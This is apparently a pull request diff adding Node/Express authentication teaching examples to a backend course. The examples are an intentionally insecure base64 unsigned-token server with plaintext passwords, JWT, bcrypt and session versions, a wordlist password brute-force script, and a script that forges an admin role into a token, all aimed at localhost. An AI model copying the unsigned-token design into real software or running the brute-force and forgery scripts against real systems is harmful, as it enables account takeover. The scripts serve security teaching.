Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,88 @@
import express from "express";
import { createServer } from "http";

// Example in-memory "database" for teaching purposes only
const users = [
{
id: 1,
username: "alice",
password: "password123",
role: "user",
},
{
id: 2,
username: "admin",
password: "admin123",
role: "admin",
},
];

function getUserByUsername(username) {
return users.find((user) => user.username === username) ?? null;
}

function issueToken(user) {
const payload = { userId: user.id, username: user.username, role: user.role };
return Buffer.from(JSON.stringify(payload)).toString("base64");
}

function decodeToken(token) {
try {
return JSON.parse(Buffer.from(token, "base64").toString("utf8"));
} catch {
return null;
}
}

const app = express();
app.use(express.json());

app.post("/login", (req, res) => {
const { username, password } = req.body;
const user = getUserByUsername(username);

if (!user || user.password !== password) {
return res.status(401).json({ error: "Invalid credentials" });
}

const token = issueToken(user);
res.json({ message: "Logged in with base64 token", token });
});

function requireTokenAuth(req, res, next) {
const authHeader = req.headers["authorization"];
const token = authHeader?.startsWith("Bearer ") ? authHeader.slice(7) : null;

if (!token) {
return res.status(401).json({ error: "No token provided" });
}

const payload = decodeToken(token);

if (!payload) {
return res.status(401).json({ error: "Invalid token" });
}

req.user = payload;
next();
}

app.get("/protected", requireTokenAuth, (req, res) => {
res.json({ data: "Token-protected resource", user: req.user });
});

// Admin-only route — great for demonstrating role forgery
app.get("/admin", requireTokenAuth, (req, res) => {
if (req.user.role !== "admin") {
return res.status(403).json({ error: "Admins only" });
}
res.json({ data: "Secret admin data", user: req.user });
});

app.post("/logout", (req, res) => {
res.json({ message: "Logged out (token must be discarded client-side)" });
});

app.listen(3000, () => {
console.log("> Ready on http://localhost:3000 (base64 token example)");
});
64 changes: 64 additions & 0 deletions courses/backend/node/module-materials/examples/auth-jwt.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,64 @@
import express from "express";
import bcrypt from "bcrypt";
import jwt from "jsonwebtoken";

const JWT_SECRET = process.env.JWT_SECRET || "development-secret";

// Example in-memory "database" for teaching purposes only
const users = [
{
id: 1,
username: "alice",
// bcrypt.hashSync("password123", 10)
password_hash:
"$2b$10$uXQ26BC378vlfQz80XTlKecUnhlcWFzZdoygngzx5CQhPkZJRZDtO",
},
];

function getUserByUsername(username) {
return users.find((user) => user.username === username) ?? null;
}

const app = express();
app.use(express.json());

app.post("/login", async (req, res) => {
const { username, password } = req.body;

const user = getUserByUsername(username);
if (!user) {
return res.status(404).json({ error: "User not found" });
}

const isMatch = await bcrypt.compare(password, user.password_hash);
if (!isMatch) {
return res.status(401).json({ error: "Invalid credentials" });
}

const token = jwt.sign({ userId: user.id }, JWT_SECRET, { expiresIn: "1h" });
res.json({ token });
});

function requireJwtAuth(req, res, next) {
const authHeader = req.headers.authorization;
const token = authHeader?.split(" ")[1];
if (!token) {
return res.status(401).json({ error: "No token provided" });
}

try {
const decoded = jwt.verify(token, JWT_SECRET);
req.user = { id: decoded.userId };
next();
} catch (err) {
return res.status(401).json({ error: "Invalid or expired token" });
}
}

app.get("/protected", requireJwtAuth, (req, res) => {
res.json({ data: "Top secret snippets", userId: req.user.id });
});

app.listen(3000, () => {
console.log("> Ready on http://localhost:3000 (JWT auth example)");
});
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
import express from "express";
import bcrypt from "bcrypt";

// Example in-memory "database" for teaching purposes only
const users = [
{
id: 1,
username: "alice",
// bcrypt.hashSync("password123", 10)
password_hash:
"$2b$10$uXQ26BC378vlfQz80XTlKecUnhlcWFzZdoygngzx5CQhPkZJRZDtO",
},
];

function getUserByUsername(username) {
return users.find((user) => user.username === username) ?? null;
}

const app = express();
app.use(express.json());

app.post("/login", async (req, res) => {
const { username, password } = req.body;

const user = getUserByUsername(username);
if (!user) {
return res.status(404).json({ error: "User not found" });
}

const isMatch = await bcrypt.compare(password, user.password_hash);
if (!isMatch) {
return res.status(401).json({ error: "Invalid credentials" });
}

res.json({ message: "Login successful", userId: user.id });
});

app.listen(3000, () => {
console.log("> Ready on http://localhost:3000 (bcrypt login example)");
});
Original file line number Diff line number Diff line change
@@ -0,0 +1,78 @@
import fs from "fs";
import readline from "readline";

const TARGET_URL = "http://localhost:3000/login";
const username = process.argv[2] ?? "alice";
const wordlistPath = process.argv[3] ?? "/usr/share/wordlists/rockyou-50.txt";
const CONCURRENCY = 10;

async function tryPassword(password) {
const res = await fetch(TARGET_URL, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ username, password }),
});
return { password, success: res.status === 200 };
}

async function runChunk(passwords) {
return Promise.all(passwords.map(tryPassword));
}

async function bruteForce() {
console.log(`🎯 Target : ${TARGET_URL}`);
console.log(`👤 Username: ${username}`);
console.log(`📖 Wordlist: ${wordlistPath}\n`);

const rl = readline.createInterface({
input: fs.createReadStream(wordlistPath, { encoding: "latin1" }),
crlfDelay: Infinity,
});

let attempted = 0;
let chunk = [];
const startTime = Date.now();

for await (const line of rl) {
const password = line.trim();
if (!password) continue;

chunk.push(password);

if (chunk.length >= CONCURRENCY) {
const results = await runChunk(chunk);
attempted += results.length;

const found = results.find((r) => r.success);
if (found) {
const elapsed = ((Date.now() - startTime) / 1000).toFixed(1);
console.log(
`\n✅ PASSWORD FOUND after ${attempted} attempts (${elapsed}s)`,
);
console.log(` Username : ${username}`);
console.log(` Password : ${found.password}`);
process.exit(0);
}

process.stdout.write(`\r⏳ Tried ${attempted} passwords...`);
chunk = [];
}
}

// flush remaining chunk (wordlist end)
if (chunk.length > 0) {
const results = await runChunk(chunk);
attempted += results.length;
const found = results.find((r) => r.success);
if (found) {
console.log(
`\n✅ PASSWORD FOUND: ${found.password} (after ${attempted} attempts)`,
);
process.exit(0);
}
}

console.log(`\n❌ Password not found after ${attempted} attempts.`);
}

bruteForce().catch(console.error);
59 changes: 59 additions & 0 deletions courses/backend/node/module-materials/examples/auth-sessions.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,59 @@
import express from "express";
import session from "express-session";

// Example in-memory "database" for teaching purposes only
const users = [
{
id: 1,
username: "alice",
password: "password123",
},
];

function getUserByUsername(username) {
return users.find((user) => user.username === username) ?? null;
}

const app = express();
app.use(express.json());

app.use(
session({
secret: process.env.SESSION_SECRET || "development-session-secret",
resave: false,
saveUninitialized: false,
}),
);

app.post("/login", (req, res) => {
const { username, password } = req.body;

const user = getUserByUsername(username);
if (!user || user.password !== password) {
return res.status(401).json({ error: "Invalid credentials" });
}

req.session.userId = user.id;
res.json({ message: "Logged in with session" });
});

function requireSessionAuth(req, res, next) {
if (req.session.userId) {
return next();
}
res.status(401).json({ error: "Not authenticated" });
}

app.get("/protected", requireSessionAuth, (req, res) => {
res.json({ data: "Session-protected snippets", userId: req.session.userId });
});

app.post("/logout", (req, res) => {
req.session.destroy(() => {
res.json({ message: "Logged out" });
});
});

app.listen(3000, () => {
console.log("> Ready on http://localhost:3000 (session auth example)");
});
17 changes: 17 additions & 0 deletions courses/backend/node/module-materials/examples/token-forgery.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
const token = process.argv[2];

if (!token) {
console.error("Usage: node attack-forge-token.js <token>");
process.exit(1);
}

function forgeToken(token, overrides) {
const decoded = JSON.parse(Buffer.from(token, "base64").toString("utf8"));
const forged = { ...decoded, ...overrides };
return Buffer.from(JSON.stringify(forged)).toString("base64");
}

const forgedToken = forgeToken(token, { role: "admin" });

console.log("\n Original token:", token);
console.log("\n Forged token:", forgedToken);
Loading
Loading